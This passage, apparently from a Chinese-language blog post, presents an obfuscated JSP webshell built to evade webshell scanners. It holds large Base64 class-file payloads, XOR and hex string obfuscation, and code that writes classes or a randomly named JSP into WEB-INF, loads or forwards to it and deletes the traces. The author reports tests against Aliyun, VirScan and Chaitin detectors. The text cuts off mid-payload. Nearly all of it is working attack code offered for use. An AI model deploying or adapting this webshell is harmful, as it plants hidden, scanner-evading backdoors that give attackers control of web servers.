ABOgUZBBkFtgEyOga7ACdZGQa3AP2wTbsB8VkstwHzvwABAAAAXwBgASEAAgIkAAAAJgAJAAABcgAdAXMALAF0AD8BdQBHAXYATQF3AFYBeQBgAXoAYQF7AiUAAAAIAAH3AGAHASEQCgIqAAwAAQIjAAAATAACAAEAAAAPFAIXuAIZpwAISyq2Ah+xAAEAAAAGAAkCHQACAiQAAAAWAAUAAABaAAYAXQAJAFsACgBcAA4AXgIlAAAABwACSQcCHQQQCAIrAAYAAQIjAAAAHQABAAEAAAAFKrgAAbAAAAABAiQAAAAGAAEAAAAYAAMCLAAAAAICLQIuAAAADAABAjMAAwIvAjACLwI6AAAAIgAEAfwB9gI7AAkCAAAAAAAAAAIMAAAAAAAAAjwCPgJAABk=";byte[][] C6dE7fG8hI9j = new byte[(246728 ^ 28525) ^ (911716 ^ 935362)][];C6dE7fG8hI9j[(411515 ^ 838949) ^ (510181 ^ 869051)] = O8pQ9qR0sS1i(Q5R6S7T8U9V0);C6dE7fG8hI9j[(501098 ^ 899901) ^ (472757 ^ 862435)] = O8pQ9qR0sS1i(W1X2Y3Z4A5B6);C6dE7fG8hI9j[(788364 ^ 949633) ^ (12799 ^ 150512)] = O8pQ9qR0sS1i(U8vW9xY0zA1b);String[] K0lM1nO2pP3q = S4tU5vV6wW7h(C6dE7fG8hI9j, request);String[] L0mN1nO2pP3q = new String[]{new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("2c5a4350"))), new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("2c5a4353"))), new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("2c5a")))};java.net.URL[] S8tU9vV0wW1x = {new java.net.URI(new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("08000b0454424e"))) + K0lM1nO2pP3q[(559281 ^ 837696) ^ (745704 ^ 991257)]).toURL(),new java.net.URI(new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("08000b0454424e"))) + K0lM1nO2pP3q[(447658 ^ 845870) ^ (109535 ^ 759642)]).toURL(),new java.net.URI(new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("08000b0454424e"))) + K0lM1nO2pP3q[(149692 ^ 172184) ^ (849476 ^ 794210)]).toURL()};try (java.net.URLClassLoader T2uV3wW4xX5y = new java.net.URLClassLoader(S8tU9vV0wW1x, Thread.currentThread().getContextClassLoader())) {for (String U6vW7xX8yY9z : L0mN1nO2pP3q) {Class<?> V0wX1yY2zZ3a = T2uV3wW4xX5y.loadClass(U6vW7xX8yY9z);if (V0wX1yY2zZ3a.getName().equals(new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("2b1f0e0d"))))) {V0wX1yY2zZ3a.getConstructor(HttpServletRequest.class, HttpSession.class, PageContext.class).newInstance(request, session, pageContext);}}java.io.File W4xY5zZ6aA7b = new java.io.File(request.getServletContext().getRealPath("\\") + new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("323e222343242f27320a0b001d1e041233"))) + L0mN1nO2pP3q[(702690 ^ 745177) ^ (29715 ^ 102952)] + new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("400a0b001d1e"))));java.io.File W4xY5zZ6aA7c = new java.io.File(request.getServletContext().getRealPath("\\") + new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("323e222343242f27320a0b001d1e041233"))) + L0mN1nO2pP3q[(698507 ^ 663921) ^ (410552 ^ 444995)] + new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("400a0b001d1e"))));java.io.File V0wX1yY2zZ3s = new java.io.File(request.getServletContext().getRealPath("\\") + new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("323e222343242f27320a0b001d1e041233"))) + L0mN1nO2pP3q[(227407 ^ 518696) ^ (506169 ^ 207708)] + new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("400a0b001d1e"))));W4xY5zZ6aA7b.delete();W4xY5zZ6aA7c.delete();V0wX1yY2zZ3s.delete();} catch (Exception e) {throw new RuntimeException(e);}} catch (Exception e) {throw new RuntimeException(e);}
%>

其实到这里就已经可以bypass大部分webshell检测了，拿到webshell检测上测试。
阿里:

VirScan：

长亭：

这里长亭并没有绕过，这里猜测是代码中可能存在.equals关键字，长亭的检测比较严，但凡存在任何一个黑名单关键字，即使该文件不是webshell也会检测成高危。其实到这就可以结束了，但是其他都是绿的看到有一个红的就激起我的好胜欲望了。

所以接下来就是想办法绕过长亭，既然所有加载类的操作都进黑名单了，那我就不在代码中直接加载类就行了。我这里的思路就是将jsp写入到WEN-INF，然后通过.forward转发到写入到WEN-INF的jsp上，随机化生成jsp文件名写入文件，执行后删除文件，代码如下：

<%@ page import="java.util.Base64" %>
<%@ page import="java.io.File" %>
<%@ page import="java.io.FileOutputStream" %>
<%@ page import="java.util.Random" %><%String D4eF5gH6iJ7k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz";String E8fG9hI0jK1l = "0123456789";String S4tU5vV6wW7x = D4eF5gH6iJ7k + E8fG9hI0jK1l;Random C4dE5fF6gG7h = new Random();char E2fG3hH4iI5j = D4eF5gH6iJ7k.charAt(C4dE5fF6gG7h.nextInt(D4eF5gH6iJ7k.length()));StringBuilder V0wX1yY2zZ3a = new StringBuilder();V0wX1yY2zZ3a.append(E2fG3hH4iI5j);for (int i = 1; i < 6; i++) {V0wX1yY2zZ3a.append(S4tU5vV6wW7x.charAt(C4dE5fF6gG7h.nextInt(S4tU5vV6wW7x.length())));}String H0iJ1kL2mN3o = V0wX1yY2zZ3a + ".jsp";byte[] J8kL9mN0oP1q = Base64.getDecoder().decode("<%!
    static byte[] O8pQ9qR0sS1i(String G7hI8jK9lM0n) {
        try {
            Class<?> A3bC4dE5fG6h = Class.forName("java.util.Base64");
            java.lang.reflect.Method B7cD8eF9gH0i = A3bC4dE5fG6h.getMethod("getDecoder");
            Object F3gH4iJ5kL6m = B7cD8eF9gH0i.invoke(null);
            java.lang.reflect.Method decodeMethod = F3gH4iJ5kL6m.getClass().getMethod(new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("0a0c040e0a08"))), String.class);
            return (byte[]) decodeMethod.invoke(F3gH4iJ5kL6m, G7hI8jK9lM0n);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

    static byte[] P2qR3sS4tT5q(String I5jK6lM7nO8p) {
        int H1iJ2kL3mN4o = I5jK6lM7nO8p.length();
        byte[] M1nO2pQ3rS4t = new byte[H1iJ2kL3mN4o / ((217084 ^ 272486) ^ (395312 ^ 94120))];
        for (int i = ((852103 ^ 29286) ^ (958582 ^ 250519)); i < H1iJ2kL3mN4o; i += ((747762 ^ 857412) ^ (947501 ^ 526489))) {
            M1nO2pQ3rS4t[i / ((502120 ^ 261010) ^ (862244 ^ 621276))] = (byte) ((Character.digit(I5jK6lM7nO8p.charAt(i), ((674961 ^ 848399) ^ (41187 ^ 401005))) << ((164227 ^ 465603) ^ (956584 ^ 721900)))
                    + Character.digit(I5jK6lM7nO8p.charAt(i + ((683304 ^ 78290) ^ (527739 ^ 217472))), ((536265 ^ 930472) ^ (219198 ^ 345167))));
        }
        return M1nO2pQ3rS4t;
    }

    static byte[] Q6rS7tT8uU9n(byte[] F4gH5iJ6kL7m) {
        byte[] G8hI9jK0lM1n = "niganmaaiyo".getBytes();
        byte[] I6jK7lM8nO9p = new byte[F4gH5iJ6kL7m.length];
        byte[] J0kL1mN2oP3q = G8hI9jK0lM1n.clone();

        for (int i = ((567595 ^ 981750) ^ (25375 ^ 405698)); i < F4gH5iJ6kL7m.length; i += ((195561 ^ 308067) ^ (968574 ^ 561148))) {
            for (int j = ((777560 ^ 109580) ^ (548017 ^ 142821)); j < ((998407 ^ 778009) ^ (707776 ^ 929750)) && i + j < F4gH5iJ6kL7m.length; j++) {
                I6jK7lM8nO9p[i + j] = (byte) (F4gH5iJ6kL7m[i + j] ^ J0kL1mN2oP3q[j]);
            }
            for (int j = ((374468 ^ 664914) ^ (423405 ^ 648827)); j < J0kL1mN2oP3q.length; j++) {
                J0kL1mN2oP3q[j] = (byte) (J0kL1mN2oP3q[j] + (i / ((977393 ^ 397196) ^ (661910 ^ 196579))) % ((902651 ^ 740431) ^ (347438 ^ 247194)));
            }
        }
        return I6jK7lM8nO9p;
    }

    static String[] S4tU5vV6wW7h(byte[][] N6oP7qQ8rS9u, HttpServletRequest O0pQ1rS2tU3v) {
        String[] M2nO3pQ4rS5t = new String[(459697 ^ 724888) ^ (292507 ^ 555697)];

        for (int k = ((907776 ^ 123065) ^ (830962 ^ 38731)); k < ((830450 ^ 86156) ^ (964461 ^ 216080)); k++) {
            String[] Q8rS9tU0vV1x = new String[]{new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("2c5a4350"))), new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("2c5a4353"))), new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("2c5a")))};
            String W2xY3zA4B5C6 = Q8rS9tU0vV1x[k] + new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("400a0b001d1e")));
            String C6yD7xE8F9G0 = O0pQ1rS2tU3v.getServletContext().getRealPath("\\") + new String(Q6rS7tT8uU9n(P2qR3sS4tT5q("323e222343242f27320a0b001d1e0412")));
            String D0xE1yF2G3H4 = C6yD7xE8F9G0 + "\\" + W2xY3zA4B5C6;
            C6yD7xE8F9G0 = C6yD7xE8F9G0.replace("\\", "/");
            D0xE1yF2G3H4 = D0xE1yF2G3H4.replace("\\", "/");
            M2nO3pQ4rS5t[k] = D0xE1yF2G3H4;
            java.io.File I5J6K7L8M9N0 = new java.io.File(C6yD7xE8F9G0);
            I5J6K7L8M9N0.mkdirs();

            byte[] O1P2Q3R4S5T6 = N6oP7qQ8rS9u[k];

            try (java.io.FileOutputStream fileOutputStream = new java.io.FileOutputStream(D0xE1yF2G3H4)) {
                int S1T2U3V4W5X6 = 1024 * 1024;
                for (int i = ((711164 ^ 649100) ^ (593261 ^ 668445)); i < O1P2Q3R4S5T6.length; i += S1T2U3V4W5X6) {
                    int E3F4G5H6I7J8 = Math.min(i + S1T2U3V4W5X6, O1P2Q3R4S5T6.length);
                    fileOutputStream.write(O1P2Q3R4S5T6, i, E3F4G5H6I7J8 - i);
                    fileOutputStream.flush();
                }
            } catch (Exception e) {
                throw new RuntimeException(e);
            }
        }
        return M2nO3pQ4rS5t;
    }
%>
<%
    try {
        String Q5R6S7T8U9V0 = "yv66vgAAADQASAkAAgADBwAEDAAFAAYBAARCMyQxAQAGdGhpcyQwAQAETEIzOwkAAgAIDAAJAAoBABB2YWwkSTlvUDh1WTdoSzZsAQACW0IKAAwADQcADgwADwAQAQAVamF2YS9sYW5nL0NsYXNzTG9hZGVyAQAGPGluaXQ+AQAaKExqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7KVYHABIBABlqYXZhL3NlY3VyaXR5L1Blcm1pc3Npb25zCgARABQMAA8AFQEAAygpVgcAFwEAG2phdmEvc2VjdXJpdHkvQWxsUGVybWlzc2lvbgoAFgAUCgAaABsHABwMAB0AHgEAImphdmEvc2VjdXJpdHkvUGVybWlzc2lvbkNvbGxlY3Rpb24BAANhZGQBAB0oTGphdmEvc2VjdXJpdHkvUGVybWlzc2lvbjspVgcAIAEAHmphdmEvc2VjdXJpdHkvUHJvdGVjdGlvbkRvbWFpbgcAIgEAGGphdmEvc2VjdXJpdHkvQ29kZVNvdXJjZQcAJAEAIVtMamF2YS9zZWN1cml0eS9jZXJ0L0NlcnRpZmljYXRlOwoAIQAmDAAPACcBADIoTGphdmEvbmV0L1VSTDtbTGphdmEvc2VjdXJpdHkvY2VydC9DZXJ0aWZpY2F0ZTspVgoAHwApDAAPACoBAHIoTGphdmEvc2VjdXJpdHkvQ29kZVNvdXJjZTtMamF2YS9zZWN1cml0eS9QZXJtaXNzaW9uQ29sbGVjdGlvbjtMamF2YS9sYW5nL0NsYXNzTG9hZGVyO1tMamF2YS9zZWN1cml0eS9QcmluY2lwYWw7KVYKAAIALAwALQAuAQALZGVmaW5lQ2xhc3MBAEkoTGphdmEvbGFuZy9TdHJpbmc7W0JJSUxqYXZhL3NlY3VyaXR5L1Byb3RlY3Rpb25Eb21haW47KUxqYXZhL2xhbmcvQ2xhc3M7BwAwAQATamF2YS9sYW5nL0V4Y2VwdGlvbgcAMgEAGmphdmEvbGFuZy9SdW50aW1lRXhjZXB0aW9uCgAxADQMAA8ANQEAGChMamF2YS9sYW5nL1Rocm93YWJsZTspVgEAIChMQjM7TGphdmEvbGFuZy9DbGFzc0xvYWRlcjtbQilWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEE1ldGhvZFBhcmFtZXRlcnMBAAlmaW5kQ2xhc3MBACUoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M7AQANU3RhY2tNYXBUYWJsZQEACVNpZ25hdHVyZQEAKChMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczwqPjsBAApTb3VyY2VGaWxlAQAHQjMuamF2YQEAD0VuY2xvc2luZ01ldGhvZAcAQwEAAkIzDABFAEYBAAxXMVgyWTNaNEE1QjYBABsoW0IpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAxJbm5lckNsYXNzZXMAIAACAAwAAAACEBAACQAKAAAQEAAFAAYAAAACAAAADwA2AAIANwAAACgAAgAEAAAAECortQABKi21AAcqLLcAC7EAAAABADgAAAAGAAEAAAFDADkAAAANAwAAgBAAAAAAAAAQEAAEADoAOwACADcAAACFAAYABAAAAEW7ABFZtwATTSy7ABZZtwAYtgAZuwAfWbsAIVkBAcAAI7cAJSwqAbcAKE4qASq0AAcDKrQAB74ttgArsE27ADFZLLcAM78AAQAAADoAOwAvAAIAOAAAABoABgAAAUcACAFIABMBSQAqAU8AOwFQADwBUQA8AAAABgABewcALwA9AAAAAgA+AAMAPwAAAAIAQABBAAAABABCAEQARwAAAAoAAQACAAAAAAAA";
        String W1X2Y3Z4A5B6 = "yv66vgAAADQASAkAAgADBwAEDAAFAAYBAARCMyQyAQAGdGhpcyQwAQAETEIzOwoACAAJBwAKDAALAAwBABVqYXZhL2xhbmcvQ2xhc3NMb2FkZXIBAAY8aW5pdD4BAAMoKVYIAA4BBDR5djY2dmdBQUFEUUFKQW9BQWdBREJ3QUVEQUFGQUFZQkFCQnFZWFpoTDJ4aGJtY3ZUMkpxWldOMEFRQUdQR2x1YVhRK0FRQURLQ2xXQndBSUFRQUNRalFCQUJSUE1FOHdUekJQTUU4d1R6QlBNRTh3VHpCUE1BRUFFa3hxWVhaaEwyeGhibWN2VTNSeWFXNW5Pd0VBRFVOdmJuTjBZVzUwVm1Gc2RXVUlBQTBCQUN4VE9XVmFNbWRDVVU4NFdHRXpibkZOYkdSd2VTOU9iazlpWkV4ck1VbDVWSGhGTlVsME9FaENaelp2UFFFQUZFOHdNREF3TURBd01EQXdNREF3TURBd01EQlBDQUFRQVFBWVpUZHVWa1ExVEZWNGFHVlVhRlV2WkdaMk5YVlFVVDA5QVFBVVQwOVBNREF3TURBd01EQXdNREF3VHpBd01FOElBQk1CQUJoaGVtaHhaVWhqZVdOWWNESk5NalZ0WVVSa2RFOVJQVDBCQUJSUE1EQXdNREF3TURBd01EQXdNREF3TUU4d01BZ0FGZ0VBQkZGVlZsUUJBQlJQTURBd01EQXdNREF3TUU4d01EQlBNREF3VHdnQUdRRUFIRkZWVmxSTU1FNURVWGs1VVZNd1RsUk9Wa0pvV2tkU2NHSnRZejBCQUJSUE1EQXdNREF3TURBd01EQlBNREF3TURBd1R3Z0FIQUVBR0hkTFlUWmpkbE5EYzJaV1YyTmxheXMyYW5WdGJYYzlQUUVBRkU4d01EQXdNREF3VDA4d01FOHdNREF3TURCUENBQWZBUUNBT1V0emJGVlJVVXRJTm1waldTczFTbTk2YlV0cFkydFNka0pYZUcxYVRIbGhOMmxIYVV0TmNsSlVNa0l4WjNnelYwSmpWa0V4TTBkeVZqVlJORFJDUlhGd1NIbGFhMVpQYWxwRlYwNVlTbUZtTXpkTWFHTmpRbkZYY1dwMlNYTjBiSGhDT0ZrMVkxVnlVVkpNVEdWMVpXTmtNWGt3ZVhWWk1FbE5TM0pNWVZZQkFBUkRiMlJsQVFBUFRHbHVaVTUxYldKbGNsUmhZbXhsQVFBS1UyOTFjbU5sUm1sc1pRRUFCMEkwTG1waGRtRUFJUUFIQUFJQUFBQUhBQmtBQ1FBS0FBRUFDd0FBQUFJQURBQVpBQTRBQ2dBQkFBc0FBQUFDQUE4QUdRQVJBQW9BQVFBTEFBQUFBZ0FTQUJrQUZBQUtBQUVBQ3dBQUFBSUFGUUFaQUJjQUNnQUJBQXNBQUFBQ0FCZ0FHUUFhQUFvQUFRQUxBQUFBQWdBYkFCa0FIUUFLQUFFQUN3QUFBQUlBSGdBQkFBRUFCUUFHQUFFQUlBQUFBQjBBQVFBQkFBQUFCU3EzQUFHeEFBQUFBUUFoQUFBQUJnQUJBQUFBQVFBQkFDSUFBQUFDQUNNPQoAEAARBwASDAATABQBAAJCMwEACmFjY2VzcyQwMDABABYoTGphdmEvbGFuZy9TdHJpbmc7KVtCBwAWAQAZamF2YS9zZWN1cml0eS9QZXJtaXNzaW9ucwoAFQAJBwAZAQAbamF2YS9zZWN1cml0eS9BbGxQZXJtaXNzaW9uCgAYAAkKABwAHQcAHgwAHwAgAQAiamF2YS9zZWN1cml0eS9QZXJtaXNzaW9uQ29sbGVjdGlvbgEAA2FkZAEAHShMamF2YS9zZWN1cml0eS9QZXJtaXNzaW9uOylWBwAiAQAeamF2YS9zZWN1cml0eS9Qcm90ZWN0aW9uRG9tYWluBwAkAQAYamF2YS9zZWN1cml0eS9Db2RlU291cmNlBwAmAQAhW0xqYXZhL3NlY3VyaXR5L2NlcnQvQ2VydGlmaWNhdGU7CgAjACgMAAsAKQEAMihMamF2YS9uZXQvVVJMO1tMamF2YS9zZWN1cml0eS9jZXJ0L0NlcnRpZmljYXRlOylWCgAhACsMAAsALAEAcihMamF2YS9zZWN1cml0eS9Db2RlU291cmNlO0xqYXZhL3NlY3VyaXR5L1Blcm1pc3Npb25Db2xsZWN0aW9uO0xqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7W0xqYXZhL3NlY3VyaXR5L1ByaW5jaXBhbDspVgoAAgAuDAAvADABAAtkZWZpbmVDbGFzcwEASShMamF2YS9sYW5nL1N0cmluZztbQklJTGphdmEvc2VjdXJpdHkvUHJvdGVjdGlvbkRvbWFpbjspTGphdmEvbGFuZy9DbGFzczsHADIBABNqYXZhL2xhbmcvRXhjZXB0aW9uBwA0AQAaamF2YS9sYW5nL1J1bnRpbWVFeGNlcHRpb24KADMANgwACwA3AQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWAQAHKExCMzspVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABBNZXRob2RQYXJhbWV0ZXJzAQAJZmluZENsYXNzAQAlKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL0NsYXNzOwEADVN0YWNrTWFwVGFibGUBAAlTaWduYXR1cmUBACgoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvQ2xhc3M8Kj47AQAKU291cmNlRmlsZQEAB0IzLmphdmEBAA9FbmNsb3NpbmdNZXRob2QMAEUARgEADEM3RDhFOUYwRzFIMgEAGSgpTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsBAAxJbm5lckNsYXNzZXMAIAACAAgAAAABEBAABQAGAAAAAgAAAAsAOAACADkAAAAiAAIAAgAAAAoqK7UAASq3AAexAAAAAQA6AAAABgABAAABWAA7AAAABQEAAIAQAAQAPAA9AAIAOQAAAJYABgAGAAAATBINTSy4AA9OuwAVWbcAFzoEGQS7ABhZtwAatgAbuwAhWbsAI1kBAcAAJbcAJxkEKgG3ACo6BSoBLQMtvhkFtgAtsE27ADNZLLcANb8AAQAAAEEAQgAxAAIAOgAAACIACAAAAVwAAwFdAAgBXgARAV8AHQFgADYBZgBCAWcAQwFoAD4AAAAIAAH3AEIHADEAPwAAAAIAQAADAEEAAAACAEIAQwAAAAQAEABEAEcAAAAKAAEAAgAAAAAAAA==";
        String U8vW9xY0zA1b = "yv66vgAAADQCQQoAAgADBwAEDAAFAAYBAAJCMwEADFE1UjZTN1Q4VTlWMAEAFihMamF2YS9sYW5nL1N0cmluZzspW0IKAAgACQcACgwACwAMAQAQamF2YS9sYW5nL09iamVjdAEABjxpbml0PgEAAygpVgoAAgAODAAPABABAAxDN0Q4RTlGMEcxSDIBABkoKUxqYXZhL2xhbmcvQ2xhc3NMb2FkZXI7CAASAQAACgAUABUHABYMABcAGAEAFWphdmEvbGFuZy9DbGFzc0xvYWRlcgEACWxvYWRDbGFzcwEAJShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9DbGFzczsIABoBABRPME8wTzBPME8wTzBPME8wTzBPMAoAHAAdBwAeDAAfACABAA9qYXZhL2xhbmcvQ2xhc3MBAAhnZXRGaWVsZAEALShMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9yZWZsZWN0L0ZpZWxkOwoAIgAjBwAkDAAlACYBABdqYXZhL2xhbmcvcmVmbGVjdC9GaWVsZAEAA2dldAEAJihMamF2YS9sYW5nL09iamVjdDspTGphdmEvbGFuZy9PYmplY3Q7BwAoAQAQamF2YS9sYW5nL1N0cmluZwkAAgAqDAArACwBAAxENGZHN2g4SmtMbU4BABJMamF2YS9sYW5nL1N0cmluZzsIAC4BABRPMDAwMDAwMDAwMDBPMDAwMDAwTwkAAgAwDAAxACwBAAxSNXRZNnU3djh3WDkIADMBABRPMDAwMDAwMDAwMDAwMDAwMDAwTwkAAgA1DAA2ACwBAAxTMWEyYjNjNGQ1ZTYIADgBABRPMDAwMDAwMDAwMDAwMDAwME8wMAkAAgA6DAA7ACwBAAxMMW1OMm9QM3FSNHMIAD0BABRPT08wMDAwMDAwMDAwMDBPMDAwTwkAAgA/DABAACwBAAxBN3NEOGZHOWgwSmsIAEIBABRPMDAwMDAwMDAwME8wMDBPMDAwTwkAAgBEDABFACwBAAxYNWNWNmJON21QOHEIAEcBABRPMDAwMDAwME9PMDBPMDAwMDAwTwkAAgBJDABKACwBAAxRMndFM3JUNHlVNWkKAAIATAwATQBOAQAMSTNKNEs1TDZNN044AQAmKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1N0cmluZzsIAFABAAJcfAoAJwBSDABTAFQBAAVzcGxpdAEAJyhMamF2YS9sYW5nL1N0cmluZzspW0xqYXZhL2xhbmcvU3RyaW5nOwsAVgBXBwBYDABZAFoBACdqYWthcnRhL3NlcnZsZXQvaHR0cC9IdHRwU2VydmxldFJlcXVlc3QBAAlnZXRNZXRob2QBABQoKUxqYXZhL2xhbmcvU3RyaW5nOwoAJwBcDABdAF4BAAZlcXVhbHMBABUoTGphdmEvbGFuZy9PYmplY3Q7KVoHAGABABBqYXZhL3V0aWwvUmFuZG9tCgBfAAkKAGMAZAcAZQwAZgBnAQARamF2YS9sYW5nL0ludGVnZXIBAAhwYXJzZUludAEAFShMamF2YS9sYW5nL1N0cmluZzspSQcAaQEAF2phdmEvbGFuZy9TdHJpbmdCdWlsZGVyCgBoAGsMAAsAbAEAFShMamF2YS9sYW5nL1N0cmluZzspVgoAaABuDABvAHABAAdyZXZlcnNlAQAbKClMamF2YS9sYW5nL1N0cmluZ0J1aWxkZXI7CgBoAHIMAHMAWgEACHRvU3RyaW5nCAB1AQAOcmV2ZXJzZWRTdHJpbmcLAHcAeAcAeQwAegB7AQAgamFrYXJ0YS9zZXJ2bGV0L2h0dHAvSHR0cFNlc3Npb24BAAxzZXRBdHRyaWJ1dGUBACcoTGphdmEvbGFuZy9TdHJpbmc7TGphdmEvbGFuZy9PYmplY3Q7KVYKAH0AfgcAfwwAgACBAQAOamF2YS9sYW5nL01hdGgBAAZyYW5kb20BAAMoKUQGQCQAAAAAAAAGQAAAAAAAAAAKAH0AhwwAiACJAQADcG93AQAFKEREKUQHAIsBABNqYXZhL3V0aWwvQXJyYXlMaXN0CgCKAAkLAI4AjwcAkAwAkQBeAQAOamF2YS91dGlsL0xpc3QBAANhZGQJAAIAkwwAlAAsAQAMWjF4MmMzdjRiNW42CQACAJYMAJcAmAEADEU3ZEY4c0c5aDBKMQEAAltCCgCaAJsHAJwMAJ0AngEAFWphdmEvdXRpbC9Db2xsZWN0aW9ucwEAB3NodWZmbGUBABMoTGphdmEvdXRpbC9MaXN0OylWCACgAQAMc2h1ZmZsZWRMaXN0CgCiAKMHAKQMAKUApgEAEmphdmEvdXRpbC9DYWxlbmRhcgEAC2dldEluc3RhbmNlAQAWKClMamF2YS91dGlsL0NhbGVuZGFyOwoAogCoDACpAKoBAANzZXQBAAUoSUkpVgoAogCsDACtAK4BAAdnZXRUaW1lAQASKClMamF2YS91dGlsL0RhdGU7CACwAQAJZHVtbXlEYXRlBwCyAQAQamF2YS9sYW5nL1RocmVhZBIAAAC0DAC1ALYBAANydW4BABYoKUxqYXZhL2xhbmcvUnVubmFibGU7CgCxALgMAAsAuQEAFyhMamF2YS9sYW5nL1J1bm5hYmxlOylWCgCxALsMALwADAEABXN0YXJ0CgBfAL4MAL8AwAEAB25leHRJbnQBAAQoSSlJCADCAQALcmFuZG9tVmFsdWUKAGMAxAwAxQDGAQAHdmFsdWVPZgEAFihJKUxqYXZhL2xhbmcvSW50ZWdlcjsIAMgBAAxbYS16QS1aMC05XSsKAMoAywcAzAwAzQDOAQAXamF2YS91dGlsL3JlZ2V4L1BhdHRlcm4BAAdjb21waWxlAQAtKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS91dGlsL3JlZ2V4L1BhdHRlcm47CgDKANAMANEA0gEAB21hdGNoZXIBADMoTGphdmEvbGFuZy9DaGFyU2VxdWVuY2U7KUxqYXZhL3V0aWwvcmVnZXgvTWF0Y2hlcjsKANQA1QcA1gwA1wDYAQAXamF2YS91dGlsL3JlZ2V4L01hdGNoZXIBAARmaW5kAQADKClaCADaAQAMbWF0Y2hlZEdyb3VwCgDUANwMAN0AWgEABWdyb3VwBwDfAQAMamF2YS9pby9GaWxlCADhAQAJZHVtbXkudHh0CgDeAGsKAN4A5AwA5QDYAQAGZXhpc3RzCADnAQAKZmlsZUV4aXN0cwoA6QDqBwDrDADFAOwBABFqYXZhL2xhbmcvQm9vbGVhbgEAFihaKUxqYXZhL2xhbmcvQm9vbGVhbjsKAO4A7wcA8AwA8QDyAQAUamF2YS9uZXQvSW5ldEFkZHJlc3MBABJnZXRMb29wYmFja0FkZHJlc3MBABgoKUxqYXZhL25ldC9JbmV0QWRkcmVzczsJAAIA9AwA9QD2AQAMWTl6MFg4Y1Y3Yk42AQAVTGphdmF4L2NyeXB0by9DaXBoZXI7BwD4AQAfamF2YXgvY3J5cHRvL3NwZWMvU2VjcmV0S2V5U3BlYwoAJwD6DAD7APwBAAhnZXRCeXRlcwEABCgpW0IKACcA/gwACwD/AQAFKFtCKVYKAPcBAQwACwECAQAXKFtCTGphdmEvbGFuZy9TdHJpbmc7KVYKAQQBBQcBBgwBBwEIAQATamF2YXgvY3J5cHRvL0NpcGhlcgEABGluaXQBABcoSUxqYXZhL3NlY3VyaXR5L0tleTspVggBCgEAD2xvb3BiYWNrQWRkcmVzcwoA7gEMDAENAFoBAA5nZXRIb3N0QWRkcmVzcwgBDwEABXZhbHVlCgAcAREMARIAIAEAEGdldERlY2xhcmVkRmllbGQKACIBFAwBFQEWAQANc2V0QWNjZXNzaWJsZQEABChaKVYJAAIBGAwBGQEaAQAMUDNxUjRzVDV1VjZ3AQAXTGphdmEvbGFuZy9DbGFzc0xvYWRlcjsJAAIBHAwBHQEeAQAMSjdrTDhtTjlvUDBxAQARTGphdmEvbGFuZy9DbGFzczsIASABAApmaWVsZFZhbHVlBwEiAQATamF2YS9sYW5nL0V4Y2VwdGlvbgoBIQEkDAElAAwBAA9wcmludFN0YWNrVHJhY2UKAQQBJwwApQEoAQApKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YXgvY3J5cHRvL0NpcGhlcjsLAFYBKgwBKwEsAQAJZ2V0UmVhZGVyAQAaKClMamF2YS9pby9CdWZmZXJlZFJlYWRlcjsKAS4BLwcBMAwBMQBaAQAWamF2YS9pby9CdWZmZXJlZFJlYWRlcgEACHJlYWRMaW5lCgEEATMMATQBNQEAB2RvRmluYWwBAAYoW0IpW0IIATcBAA1lbmNyeXB0ZWREYXRhBwE5AQARamF2YS91dGlsL0hhc2hNYXAKATgACQgBPAEACGR1bW15S2V5CwE+AT8HAUAMAUEBQgEADWphdmEvdXRpbC9NYXABAANwdXQBADgoTGphdmEvbGFuZy9PYmplY3Q7TGphdmEvbGFuZy9PYmplY3Q7KUxqYXZhL2xhbmcvT2JqZWN0OwgBRAEACGR1bW15TWFwBwFGAQAcamF2YS9pby9CeXRlQXJyYXlJbnB1dFN0cmVhbQoBRQD+CgFJAUoHAUsMAUwBTQEAE2phdmEvaW8vSW5wdXRTdHJlYW0BAARyZWFkAQADKClJCAFPAQAJYnl0ZVZhbHVlCgFJAVEMAVIADAEABWNsb3NlBwFUAQATamF2YS9sYW5nL1Rocm93YWJsZQoBUwFWDAFXAVgBAA1hZGRTdXBwcmVzc2VkAQAYKExqYXZhL2xhbmcvVGhyb3dhYmxlOylWBwFaAQATamF2YS9pby9JT0V4Y2VwdGlvbgoBWQEkBwFdAQAnamF2YS9sYW5nL1Vuc3VwcG9ydGVkT3BlcmF0aW9uRXhjZXB0aW9uCAFfAQAPRHVtbXkgZXhjZXB0aW9uCgFcAGsIAWIBABBleGNlcHRpb25NZXNzYWdlCgEhAWQMAWUAWgEACmdldE1lc3NhZ2UIAWcBABBEdW1teSBzdHJpbmc6IC